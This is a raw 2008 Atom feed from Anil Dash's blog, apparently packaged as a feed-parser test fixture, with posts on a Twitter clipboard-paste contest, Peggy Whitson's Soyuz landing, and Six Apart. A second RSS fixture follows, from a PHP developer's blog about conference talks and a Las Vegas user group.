Boolifyha3rvey help my PC is way too old and the headphone jack is not working</li> <li><a href="http://twitter.com/intabulas">intabulas</a> delete from reality where acronym like 'soa%'; - note, credit to @snoopdave since I was copying hiw tweet to email to someone</li> <li><a href="http://twitter.com/JeromeGotangco">JeromeGotangco</a> 33126 1 root 0.0 1164 pause nginx: master process /usr/local/nginx/sbin/nginx</li> <li><a href="http://twitter.com/jperkins">jperkins</a> update_pacing_and_reports</li> <li><a href="http://twitter.com/kevinshay">kevinshay</a> Profile::Templates::template_keys()</li> <li><a href="http://twitter.com/knowncitizen">knowncitizen</a> Error Type: KeyErrorle_mous "2 hours, 11 minutes, 10,611 files examined, 1,851 duplicates at 77.0 Gb in size. Duplication scan is 1% complete."</li> <li><a href="http://twitter.com/LoganTwedt">LoganTwedt</a> -- Main.LoganTwedt - 07 May 2008 (my user/date stamp from the internal dev Twiki)</li> <li><a href="http://twitter.com/LoriHC">LoriHC</a> 1777381. thrilling, I know! (it's a bug number.)</li> <li><a href="http://twitter.com/markpasc">markpasc</a> uh: body{background:#1d1815 url(new-electro.png);} body,h1,h2{color:#ccc;} a{color:#99f;} #pagebody{background:rgba(0,0,0,0.8);}</li> <li><a href="http://twitter.com/marshallyount">marshallyount</a> cgTrackContainerExportScale</li> <li><a href="http://twitter.com/mickmel">mickmel</a> <body id="fancyzoom" [...] onload="setupZoom()"> miz_ginevra (pasting) • Ability to have a blog</li> <li><a href="http://twitter.com/nathantwright">nathantwright</a> <td class="price">$19.99</td></li> <li><a href="http://twitter.com/outtacontext">outtacontext</a> (index page) [from a wireframe I was designing]. Maybe I'll do better next time, Anil.</li> <li><a href="http://twitter.com/randomfreak">randomfreak</a> clusterflock</li> <li><a href="http://twitter.com/richardwinchell">richardwinchell</a> #farRight { border-top:solid #9bc 1px; }</li> <li><a href="http://twitter.com/rk">rk</a> header = "#{i.to_s(36)} #{t.to_i.to_s(36)} #{o.to_s(36)} #{l.to_s(36)} #{h} #{flags.to_s(36)}"</li> <li><a href="http://twitter.com/sarahsosiak">sarahsosiak</a> -- [binary image data]</li> <li><a href="http://twitter.com/TheBrad">TheBrad</a> <br clear="all" /></li> </ul> <h4><a name="explainers"></a>Explainers</h4> <p>These folks were unsure about what they sent along, so they had follow-up tweets to offer context.</p> <ul> <li><a href="http://twitter.com/asimaythink">asimaythink</a> "Portishead veröffentlichen nach 14 Jahren ihr erstes gutes Album"</li> <li><a href="http://twitter.com/asimaythink">asimaythink</a> Which translates to "Portishead finally release their first good album after 14 years".</li> <li><a href="http://twitter.com/digitalstew">digitalstew</a> -------------------------------------</li> <li><a href="http://twitter.com/digitalstew">digitalstew</a> Seriously, what are the odds?</li> <li><a href="http://twitter.com/dunq">dunq</a> Hi guys In the last couple of hours I've become pretty impressed with postfix, and rather less so with courier. </li> <li><a href="http://twitter.com/dunq">dunq</a> I hope I don't win with that one.</li> </ul> <h4><a name="jokers"></a>Jokers</h4> <p>I suspect that not all of these were the <em>actual</em> content that would have been pasted into Twitter without some editing taking place. But I don't mind so much.</p> <ul> <li><a href="http://twitter.com/elbowdonkey">elbowdonkey</a> command-V says: that'd be a donkey=</li> <li><a href="http://twitter.com/essl">essl</a> pregnant mothers in mexico give birth to stillborn monster babies hideous deformed two-headed monsters</li> <li><a href="http://twitter.com/fimoculous">fimoculous</a> No more fucking models.</li> <li><a href="http://twitter.com/ghostwhispers">ghostwhispers</a> Anil was working late again. Hey let's <span class="caps">GTD, </span>said a voice. It was Merlin, his hair mussed seductively. Anil's heart raced. At last. ...</li> <li><a href="http://twitter.com/gknauss">gknauss</a> Crtl-V: Man, that Anil Dash guy is just a complete bastar-- </li> <li><a href="http://twitter.com/theonetogoto">theonetogoto</a> Okay, everybody, it's Ctrl-V time! Paste into Twitter whatever text you copied last, and me. Best paste gets a prize.</li> </ul> <h4><a name="WTF"></a><span class="caps">WTF</span></h4> <p>Delightful non-sequitirs.</p> <ul> <li><a href="http://twitter.com/aburnett23">aburnett23</a> Sonoran hot dog</li> <li><a href="http://twitter.com/AndrewCrow">AndrewCrow</a> "Dude, I'm sure the burning will subside."</li> <li><a href="http://twitter.com/camworld">camworld</a> Mercedes 380K: Only one with removable Hardtop and orig specs. No car like this. Made 1934, Black, Leather. Price: 3,500,000 Euro</li> <li><a href="http://twitter.com/ckolderup">ckolderup</a> oh no, semantic polysemy! we've never had to deal with that before!</li> <li><a href="http://twitter.com/csessums">csessums</a> patched with rat stubble from a barber's dust pan</li> <li><a href="http://twitter.com/cwaxler">cwaxler</a> civil case Tiffany brought against eBay</li> <li><a href="http://twitter.com/drothschild">drothschild</a> iT <span class="caps">WAS</span> A <span class="caps">QUEER, SULTRY SUMMER, </span>the summer they electrocuted the Rosenbergs, and I didn't know what I was doing in New York</li> <li><a href="http://twitter.com/jessamyn">jessamyn</a> Personally, I'm after the uncontrolled growth of pubic hair. Great hedge rows, barely contained by trousers. I try to get onto th</li> <li><a href="http://twitter.com/joeks">joeks</a> "Stop tainting the waste stream with pieces of wood and old underwear!"</li> <li><a href="http://twitter.com/lowery">lowery</a> a chewy malbec</li> <li><a href="http://twitter.com/mattl">mattl</a> Ctrl-V: the freedom to wear shoes whenever your pinky toes are not hooked up to transcutaneous electrodes</li> <li><a href="http://twitter.com/miketempleton">miketempleton</a> orange_botline</li> <li><a href="http://twitter.com/skampy">skampy</a> - <span class="caps">AIM</span> IM with zoestoe. 9:48 AM is pregnancy an <span class="caps">STD</span>? i'll bring the dental dams just in case.</li> </ul> <h4><a name="pleasing"></a>Pleasant</h4> <p>Consider all of these runners-up in the contest. Almost all could have fit in one of the other categories, but they ended up here because they put a smile on my face.</p> <ul> <li><a href="http://twitter.com/akselsoft">akselsoft</a> I hope I'm mistaken.</li> <li><a href="http://twitter.com/avemii">avemii</a> 10k Monkeys w/ Typewriters</li> <li><a href="http://twitter.com/brandonmeek">brandonmeek</a> every good boy does fine</li> <li><a href="http://twitter.com/cookthink">cookthink</a> This stripped-down non-Sicilian, non-caponata caponata came out as my favorite.</li> <li><a href="http://twitter.com/DaveTitle">DaveTitle</a> INT. <span class="caps">EMPTY STAGE CASTING DIRECTOR</span> Ok, number sixteen please. Jon shuffles meekly onto the stage, clearly uncomfortable, barel ...</li> <li><a href="http://twitter.com/fauverism">fauverism</a> Ctrl-V (Shitting a brick)</li> <li><a href="http://twitter.com/jacklail">jacklail</a> ATLANTA (AP) _ People who sleep fewer than six hours a night -- or more than nine -- are more likely to be obese.</li> <li><a href="http://twitter.com/jbrotherlove">jbrotherlove</a> my last Ctrl-V = are you a good kisser</li> <li><a href="http://twitter.com/jeffarena">jeffarena</a> and by kick butt, i mean getting stomped by 12yr olds online.</li> <li><a href="http://twitter.com/kenlotich">kenlotich</a> sootiest</li> <li><a href="http://twitter.com/KnowMiracles">KnowMiracles</a> Jake Warga's</li> <li><a href="http://twitter.com/lisaphillips">lisaphillips</a> o/~</li> <li><a href="http://twitter.com/Lossofmemory">Lossofmemory</a> "suckit Rob - you are not as good as you think you are...in fact you suck"</li> <li><a href="http://twitter.com/MaryHodder">MaryHodder</a> fifteen/fifty-one: a num neologism used to describe the optical illusion creatd by "cool-mom" who look 15 from back, 50 from front</li> <li><a href="http://twitter.com/melissagira">melissagira</a> Faithful readers know there is but one thing that will make me crawl over broken glass, head down, ass up, and that thing is Jarv</li> <li><a href="http://twitter.com/oski">oski</a> huey lewis and the news - the power of love</li> <li><a href="http://twitter.com/patricking">patricking</a> "waitaminnit. you expect your readers to want access to your last hundred printed pieces? i'd reconsider that."</li> <li><a href="http://twitter.com/racerrick">racerrick</a> I have a greater responsibility than you can possibly fathom. You want answers? You can't handle the truth!</li> <li><a href="http://twitter.com/Zotnix">Zotnix</a> groggy</li> <li><a href="http://twitter.com/zuhl">zuhl</a> Here's what on my clipboard right now: "Obi-Wan Kedoofus"</li> </ul> <h4><a name="winner"></a>Winner!</h4> <p>And finally, ladies and gentlemen, our winner, <a href="http://librarian.net/">Jessamyn West</a>! Her <span class="caps">WTF </span>entry was:</p> <blockquote> <p><a href="http://twitter.com/jessamyn/statuses/805645421n">jessamyn</a> Personally, I'm after the uncontrolled growth of pubic hair. Great hedge rows, barely contained by trousers. I try to get onto th</p> </blockquote> <p>Jessamyn offers up, <a href="http://twitter.com/jessamyn/statuses/805645914">after an apology to the rest of her followers</a>, that the full quote she had copied was from a mailing list that she belongs to, and reads in its entirety: "Personally, I'm after the uncontrolled growth of pubic hair. Great hedge rows, barely contained by trousers. I try to get onto the N-Judah one day and my furry rose bush of a hair bloom parts the crowd, greeted by great choruses of outrage."</p> <p>It's a striking, vivid, and moving image. And one that's well-deserving of an award, in the eyes of this judge.</p> <p>In Jessamyn's honor, thanks to <a href="http://www.donorschoose.org/">Donors Choose</a>, we've funded <a href="http://www.donorschoose.org/donors/proposal.html?id=182646">Whoooo, Whooo Ate What?</a> This will provide 15 owl pellets for dissection by a group of kids in 4th grade . Let's just not tell them what the winning quote in our little contest was, shall we? No need to scar them for life.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=jgkYnb"><img src="http://feeds.feedburner.com/~a/AnilDash?i=jgkYnb" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=0lu3nH"><img src="http://feeds.feedburner.com/~f/AnilDash?i=0lu3nH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=2OEGnH"><img src="http://feeds.feedburner.com/~f/AnilDash?i=2OEGnH" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/286592078" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F05%2Fpaste-to-win-a-twitter-contest-1.htmlhttp://www.dashes.com/anil/2008/05/paste-to-win-a-twitter-contest-1.html "Where did this boat come from?" tag:www.dashes.com,2008:/anil//1.6975 2008-05-06T04:24:37Z 2008-05-06T04:33:12Z Peggy Whitson is a 48-year-old biochemist who fell from space and landed in the steppes of Kazakhstan. The eight people who greeted her didn't quite understand that they had encountered a spaceship gone astray, and asked about the origins of her boat. After the crash landing (termed a "ballistic reentry")... Anil http://anildash.com/ <p><a href="http://dsc.discovery.com/news/2008/05/02/peggy-whitson-astronaut-print.html">Peggy Whitson is a 48-year-old biochemist who fell from space and landed in the steppes of Kazakhstan</a>. The eight people who greeted her didn't quite understand that they had encountered a spaceship gone astray, and asked about the origins of her boat.</p> <p>After the crash landing (termed a "ballistic reentry") Anatoly Perminov, the chief of Russia's Federal Space Agency referenced the naval tradition of having more women than men on board a ship as a "<a href="http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/20080419/soyuz_landing_080419/20080419">bad omen</a>":</p> <blockquote> <p>"You know in Russia, there are certain bad omens about this sort of thing, but thank God that everything worked out successfully,'' he said. "Of course in the future, we will work somehow to ensure that the number of women will not surpass'' the number of men.</p> <p>Challenged by a reporter, Perminov responded: "This isn't discrimination. I'm just saying that when a majority (of the crew) is female, sometimes certain kinds of unsanctioned behaviour or something else occurs, that's what I'm talking about.''</p> <p>He did not elaborate.</p> </blockquote> <p>The boat came from Russia. Peggy Whitson is from Iowa.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=Gwl8sc"><img src="http://feeds.feedburner.com/~a/AnilDash?i=Gwl8sc" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=OMWeLH"><img src="http://feeds.feedburner.com/~f/AnilDash?i=OMWeLH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=tD4XgH"><img src="http://feeds.feedburner.com/~f/AnilDash?i=tD4XgH" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/284384738" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F05%2Fwhere-did-this-boat-come-from.htmlhttp://www.dashes.com/anil/2008/05/where-did-this-boat-come-from.html People and Ideas tag:www.dashes.com,2008:/anil//1.6974 2008-05-02T13:56:17Z 2008-05-02T14:26:04Z These are the things I saw yesterday that I thought were interesting, entertaining, and inspiring. First, Erika Hall, Copy as Interface. (See more on the Mule blog.) | View | Upload your own Mena Trott, Wasted on the Young. Cheryl Coward, on AfterEllen, profiling Lynne d. Johnson. (See more on... Anil http://anildash.com/ <p>These are the things I saw yesterday that I thought were interesting, entertaining, and inspiring. First, <a href="http://muledesign.com/">Erika Hall</a>, <a href="http://www.slideshare.net/mulegirl/copy-as-interface">Copy as Interface</a>. (See more on <a href="http://weblog.muledesign.com/2008/04/copy_as_interface_deck_now_ava.php">the Mule blog</a>.)</p> <div style="width:425px;text-align:left" id="__ss_380185"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=copyasinterface-1209511049600761-9"/><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=copyasinterface-1209511049600761-9" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object><div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"><a href="http://www.slideshare.net/?src=embed"><img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"/></a> | <a href="http://www.slideshare.net/mulegirl/copy-as-interface?src=embed" title="View 'Copy As Interface' on SlideShare">View</a> | <a href="http://www.slideshare.net/upload?src=embed">Upload your own</a></div></div> <p><a href="http://www.dollarshort.org/">Mena Trott</a>, <a href="http://www.dollarshort.org/ds/2008/04/wasted-on-the-young.html">Wasted on the Young</a>.</p> <p><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/zpmapmXWmOQ&amp;hl=en&amp;rel=0&amp;color1=0x402061&amp;color2=0x9461ca"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/zpmapmXWmOQ&amp;hl=en&amp;rel=0&amp;color1=0x402061&amp;color2=0x9461ca" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object></p> <p><a href="http://www.afterellen.com/people/2008/4/lynnedjohnson">Cheryl Coward</a>, on AfterEllen, profiling Lynne d. Johnson. (See more on <a href="http://www.lynnedjohnson.com/diary/the_real_rock_stars_of_black_blogs/">Lynne's blog</a>.)</p> <blockquote> <p>"When I think about black females on the web with technology, Lynne [d. Johnson]'s name easily comes to mind," said Karsh, founder of the Black Weblog Awards and blackgayblogger.com. "She has masterfully been able to understand and bridge the gap between online and print media in a major way, from her work with Vibe magazine to her current work at FastCompany."</p> </blockquote> <p>Aaand that's all for now.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=dZ4FDG"><img src="http://feeds.feedburner.com/~a/AnilDash?i=dZ4FDG" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=NL5cKH"><img src="http://feeds.feedburner.com/~f/AnilDash?i=NL5cKH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=B1946H"><img src="http://feeds.feedburner.com/~f/AnilDash?i=B1946H" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/282135049" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F05%2Fpeople-and-ideas.htmlhttp://www.dashes.com/anil/2008/05/people-and-ideas.html Not Rude, Familiar tag:www.dashes.com,2008:/anil//1.6973 2008-04-29T21:24:50Z 2008-04-29T21:26:23Z While New Yorkers don't mind correcting you, they also want to help you. In the subway or on the sidewalk, when someone asks a passerby for directions, other people, overhearing, may hover nearby, disappointed that they were not the ones asked, and waiting to see if maybe they can... Anil http://anildash.com/ <blockquote> <p>While New Yorkers don't mind correcting you, they also want to help you. In the subway or on the sidewalk, when someone asks a passerby for directions, other people, overhearing, may hover nearby, disappointed that they were not the ones asked, and waiting to see if maybe they can get a word in. New Yorkers like to be experts. Actually, all people like to be experts, but most of them satisfy this need with friends and children and employees. New Yorkers, once again, tend to behave with strangers the way they do with people they know.</p> </blockquote> <p>From <a href="http://www.smithsonianmag.com/travel/mytown-newyork.html?c=y&amp;page=">Joan Acocella</a> in Smithsonian Magazine, on why New Yorkers seem rude, but are really just acting familiar with strangers.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=QJi6js"><img src="http://feeds.feedburner.com/~a/AnilDash?i=QJi6js" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=xvKVmG"><img src="http://feeds.feedburner.com/~f/AnilDash?i=xvKVmG" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=6iMTQG"><img src="http://feeds.feedburner.com/~f/AnilDash?i=6iMTQG" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/280337443" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F04%2Fnot-rude-familiar.htmlhttp://www.dashes.com/anil/2008/04/not-rude-familiar.html I work at the new Six Apart (in New York!) tag:www.dashes.com,2008:/anil//1.6972 2008-04-23T21:09:40Z 2008-04-23T22:21:17Z Five years ago, I said I work for Six Apart. At the time, that sort of thing was a big deal, not because of me, but because so few of us who loved blogging could get a job doing what we loved. Since then, amazingly, it's become downright common to... Anil http://anildash.com/ <p>Five years ago, I said <a href="http://www.dashes.com/anil/2003/04/i-work-for-six.html">I work for Six Apart</a>. At the time, that sort of thing was a big deal, not because of me, but because so few of us who loved blogging could get a job doing what we loved.</p> <img alt="sixapart-office-locations.gif" src="http://www.dashes.com/anil/images/sixapart-office-locations.gif" width="134" height="72" class="imgright" /><p>Since then, amazingly, it's become downright common to work in the blogging business. I have literally <em>dozens</em> of friends who work on creating tools and technology for blogs, and dozens more who blog for a living as part or all of their job. I even get to work with the best of them, from San Francisco to Paris to Tokyo. And now I can celebrate the company and industry I support in the city that I love, since we have an office in New York City.</p> <p>As always, I'm immensely proud of working at <a href="http://www.sixapart.com/">Six Apart</a>, even more proud to count such amazing coworkers as peers and friends, and proudest of all of what our community of bloggers has accomplished. When I started working at this company, my hopes were that we'd be able to teach more people about blogs, and that we'd be able to build a sustainable, ethical company that gave a bunch of talented people a great place to work. But in retrospect, I find it almost impossible to believe the role we've played in helping blogs become so common that they're taken for granted.</p> <p>That's not to say it's been easy. At Six Apart, we've made a number of mistakes, and learned from them. We've all been through a lot of stress, both personal and professional. But even after all we've been through, Mena wrote a <a href="http://www.dollarshort.org/ds/2008/04/five-years-with.html">beautiful post</a> in my honor, and last Friday offered one of the kindest compliments to me that I've ever gotten, recognition in front of all of my coworkers, a group of people whom I hold in the highest esteem.</p> <p>But one point that she highlighted last week was that all acts of entrepreneurship are really acts of faith. My title these days (though I often cringe when I say it), is "Chief Evangelist". I've always been uncomfortable with the religious implications of it, but I've become comfortable with the fact that it reflects a bit of faith. This goes back to why I started doing this work in the beginning:</p> <blockquote> <p>So I make tools that help people communicate. Mostly because I love technology, mostly because I love to try and build things and to get other people to think these things are cool, too. And certainly because I'm hoping to impress my friends and family with the end results. But some small, central part of the effort is because I know I'm privileged to be able to talk to anyone in my family at any time. In the span of a few decades, my father went from not being able to even send a letter to his father for a few years to being able to instant message me frequently enough to pester me.</p> <p>Our letters to each other used to be the documentation of the lives we'd lived, the entirety of our correspondence forming memoirs for those who weren't accomplished or pretentious enough to formally write out a memoir. I think that, among many other functions, this is one of the key roles that personal publishing can play in our lives. Weblogs and other social media document the lives we live and let us connect in ways that are, despite the cliché, genuinely new.</p> </blockquote> <p>This is more true than ever. I am glad to have stuck with a company, and with blogging, through both points of ceaseless hype and endless criticism. Well past any point of blogging being "cool" to the <a href="http://valleywag.com/383176/six-apart-executive-fails-to-job+hop-follow-other-silicon-valley-rules">insular world of tech geeks</a>, blogs have become enough of the fundamental infrastructure of communication to actually become <em>interesting</em> to the world at large.</p> <p>And of course, I had some personal goals, too. I wanted to work with good friends, with people I know and trust. I wanted to show people that New York City is, and will be, one of the centers for real, hardcore technology innovation and invention. (<a href="http://www.sixapart.com/about/jobs/">We're hiring</a>!) I wanted to bring together the worlds of the two things I have always been passionate about, technology and media.</p> <img alt="6a logo white.png" src="http://www.dashes.com/anil/images/6a%20logo%20white.png" width="118" height="70" class="imgright" /><p>As is likely obvious from <a href="http://www.sixapart.com/blog/2008/04/six-apart-services-media.html">our announcements</a> this week, we're close to being all of the things I'd hoped a company like Six Apart might become. In just the past year, we've damn near reinvented the company, with Ben and Mena and our <span class="caps">CEO</span> Chris Alden have been leading some brave efforts to do what few have the courage to do: <strong>Reimagine a company that's already successful</strong> and growing, and picture it honoring its innovative roots in a way that's actually new. We've invented, launched, and promoted more things that make the web better in the past year than at any time since the beginning of the company.</p> <p>That kind of creative destruction, the willingness to take apart something that's working in order to make it something truly inspiring, is actually even more ambitious than I'd imagined Six Apart being when I'd joined. And it's the reason that, after five years, the milestone for me is that it feels much more like I'm starting a new job than that I've been at one for half a decade. I can't ask for much more than that.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=Zz5DZJ"><img src="http://feeds.feedburner.com/~a/AnilDash?i=Zz5DZJ" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=NXNDBCG"><img src="http://feeds.feedburner.com/~f/AnilDash?i=NXNDBCG" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=pwTFrSG"><img src="http://feeds.feedburner.com/~f/AnilDash?i=pwTFrSG" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/276451735" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F04%2Fi-work-at-six-apart-new-york.htmlhttp://www.dashes.com/anil/2008/04/i-work-at-six-apart-new-york.html http://api.feedburner.com/awareness/1.0/GetFeedData?uri=AnilDash Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.digitalsandwich.com-feeds-index.rss20000664000175000017500000025533612653701626030547 0ustar janjan Digital Sandwich http://www.ds-o.com/ PHP, Music, and other stuff en Serendipity 1.2 - http://www.s9y.org/ Fri, 06 Jun 2008 13:35:39 GMT http://www.ds-o.com/templates/default/img/s9y_banner_small.png RSS: Digital Sandwich - PHP, Music, and other stuff http://www.ds-o.com/ 100 21 2008 DC PHP Conference - Advanced PHPUnit Testing http://www.ds-o.com/archives/74-2008-DC-PHP-Conference-Advanced-PHPUnit-Testing.html PHP Testing http://www.ds-o.com/archives/74-2008-DC-PHP-Conference-Advanced-PHPUnit-Testing.html#comments http://www.ds-o.com/wfwcomment.php?cid=74 2 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=74 nospam@example.com (Mike Lively) <p>And here are the advanced PHPUnit slides!</p> <div id="__ss_446619" style="width: 425px; text-align: left;"><object width="425" height="355" style="margin: 0px;"><param value="http://static.slideshare.net/swf/ssplayer2.swf?doc=advanced-php-unit-testing2-1212587249704441-9" name="movie" /><param value="true" name="allowFullScreen" /><param value="always" name="allowScriptAccess" /><embed width="425" height="355" allowfullscreen="true" allowscriptaccess="always" type="application/x-shockwave-flash" src="http://static.slideshare.net/swf/ssplayer2.swf?doc=advanced-php-unit-testing2-1212587249704441-9" /></object><div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;"><a href="http://www.ds-o.com/exit.php?url_id=211&amp;entry_id=74" title="http://www.slideshare.net/?src=embed" onmouseover="window.status='http://www.slideshare.net/?src=embed';return true;" onmouseout="window.status='';return true;"><img alt="SlideShare" style="border: 0px none ; margin-bottom: -5px;" src="http://static.slideshare.net/swf/logo_embd.png" /></a> | <a title="View Advanced PHPUnit Testing on SlideShare" href="http://www.ds-o.com/exit.php?url_id=212&amp;entry_id=74" onmouseover="window.status='http://www.slideshare.net/mjlivelyjr/advanced-phpunit-testing?src=embed';return true;" onmouseout="window.status='';return true;">View</a> | <a href="http://www.ds-o.com/exit.php?url_id=213&amp;entry_id=74" title="http://www.slideshare.net/upload?src=embed" onmouseover="window.status='http://www.slideshare.net/upload?src=embed';return true;" onmouseout="window.status='';return true;">Upload your own</a></div></div> Wed, 04 Jun 2008 09:55:41 -0400 http://www.ds-o.com/archives/74-guid.html 2008 DC PHP Conference - Automated Unit Testing http://www.ds-o.com/archives/73-2008-DC-PHP-Conference-Automated-Unit-Testing.html PHP Testing http://www.ds-o.com/archives/73-2008-DC-PHP-Conference-Automated-Unit-Testing.html#comments http://www.ds-o.com/wfwcomment.php?cid=73 1 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=73 nospam@example.com (Mike Lively) <p>As promised here are my automated unit testing slides for the 2008 DC PHP conference.</p> <div style="width:425px;text-align:left" id="__ss_446614"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=automated-unit-testing-1212587126813053-9"/><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=automated-unit-testing-1212587126813053-9" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object><div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"><a href="http://www.ds-o.com/exit.php?url_id=208&amp;entry_id=73" title="http://www.slideshare.net/?src=embed" onmouseover="window.status='http://www.slideshare.net/?src=embed';return true;" onmouseout="window.status='';return true;"><img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"/></a> | <a href="http://www.ds-o.com/exit.php?url_id=209&amp;entry_id=73" onmouseover="window.status='http://www.slideshare.net/mjlivelyjr/automated-unit-testing?src=embed';return true;" onmouseout="window.status='';return true;" title="View Automated Unit Testing on SlideShare">View</a> | <a href="http://www.ds-o.com/exit.php?url_id=210&amp;entry_id=73" title="http://www.slideshare.net/upload?src=embed" onmouseover="window.status='http://www.slideshare.net/upload?src=embed';return true;" onmouseout="window.status='';return true;">Upload your own</a></div></div> Wed, 04 Jun 2008 09:52:32 -0400 http://www.ds-o.com/archives/73-guid.html DC PHP http://www.ds-o.com/archives/72-DC-PHP.html PHP http://www.ds-o.com/archives/72-DC-PHP.html#comments http://www.ds-o.com/wfwcomment.php?cid=72 2 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=72 nospam@example.com (Mike Lively) <p>I will be flying out this weekend for my first speaking engagement at <a title="The 2008 DC PHP Conference" href="http://www.ds-o.com/exit.php?url_id=206&amp;entry_id=72" onmouseover="window.status='http://www.dcphpconference.com/';return true;" onmouseout="window.status='';return true;">The 2008 DC PHP Conference</a>. In looking at the speakers list there are a few familiar faces and quite a few new ones so it should be a fun experience all around. I will be giving <a href="http://www.ds-o.com/exit.php?url_id=207&amp;entry_id=72" title="http://www.dcphpconference.com/node/87" onmouseover="window.status='http://www.dcphpconference.com/node/87';return true;" onmouseout="window.status='';return true;">2.5 talks</a> this year. One on Beginning PHPUnit Testing, another on Advanced PHPUnit Testing and then I will be giving a joint presentation Andrew Minerd, a co-worker of mine, on distributed CLI processes.</p><p>I am fairly excited as this is not only my first time speaking at a PHP conference but it is also the first time I have been to Washington DC. I have a profound respect for the early history of our country and I am looking forward to seeing the some of the landmarks honoring that history. In any case, if you are going to be in DC for the conference be sure to track me down, I shouldn't be too hard to find.</p> <br /><a href="http://www.ds-o.com/archives/72-DC-PHP.html#extended">Continue reading "DC PHP"</a> Thu, 29 May 2008 09:24:41 -0400 http://www.ds-o.com/archives/72-guid.html Las Vegas PHP Group: It's Alive http://www.ds-o.com/archives/71-Las-Vegas-PHP-Group-Its-Alive.html PHP http://www.ds-o.com/archives/71-Las-Vegas-PHP-Group-Its-Alive.html#comments http://www.ds-o.com/wfwcomment.php?cid=71 2 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=71 nospam@example.com (Mike Lively) <p>As promised, a couple of days ago the <a href="http://www.ds-o.com/exit.php?url_id=204&amp;entry_id=71" onmouseover="window.status='http://lvphp.org/';return true;" onmouseout="window.status='';return true;" title="Las Vegas PHP User Group">LV PHP User Group</a> had its first meeting. The purpose of the meeting was to see what kind of interest there was and to gather some ideas for future meetings. We had a pretty good turnout for our first meeting. I think around 20 or so people attended and we mingled and talked amongst ourselves for around 2 hours.</p><p>We are going to be having another meeting in mid to late may. The current plan is that two of us will be doing a couple of short talks, I will be talking about testing and quality assurance. We also talked about getting involved in the<a href="http://www.ds-o.com/exit.php?url_id=205&amp;entry_id=71" title="http://qa.php.net/testfest.php" onmouseover="window.status='http://qa.php.net/testfest.php';return true;" onmouseout="window.status='';return true;"> PHP TestFest</a> project. The last thing we decided is that the next meeting will be in a 'quieter' environment. PT's Pub worked well for a meet and greet type of meeting but would be a tad loud for any kind of presenting. It also forcluded some people from attending due to the atmosphere.</p><p>When I hear more info about dates I will post it. For those of you that live nowhere near Vegas, maybe you can use us as a way to writeoff a vacation as a business expense? <img src="http://www.ds-o.com/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> Sat, 12 Apr 2008 09:57:06 -0400 http://www.ds-o.com/archives/71-guid.html Las Vegas PHP User Group http://www.ds-o.com/archives/70-Las-Vegas-PHP-User-Group.html PHP http://www.ds-o.com/archives/70-Las-Vegas-PHP-User-Group.html#comments http://www.ds-o.com/wfwcomment.php?cid=70 4 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=70 nospam@example.com (Mike Lively) <p>I am pleased to announce that 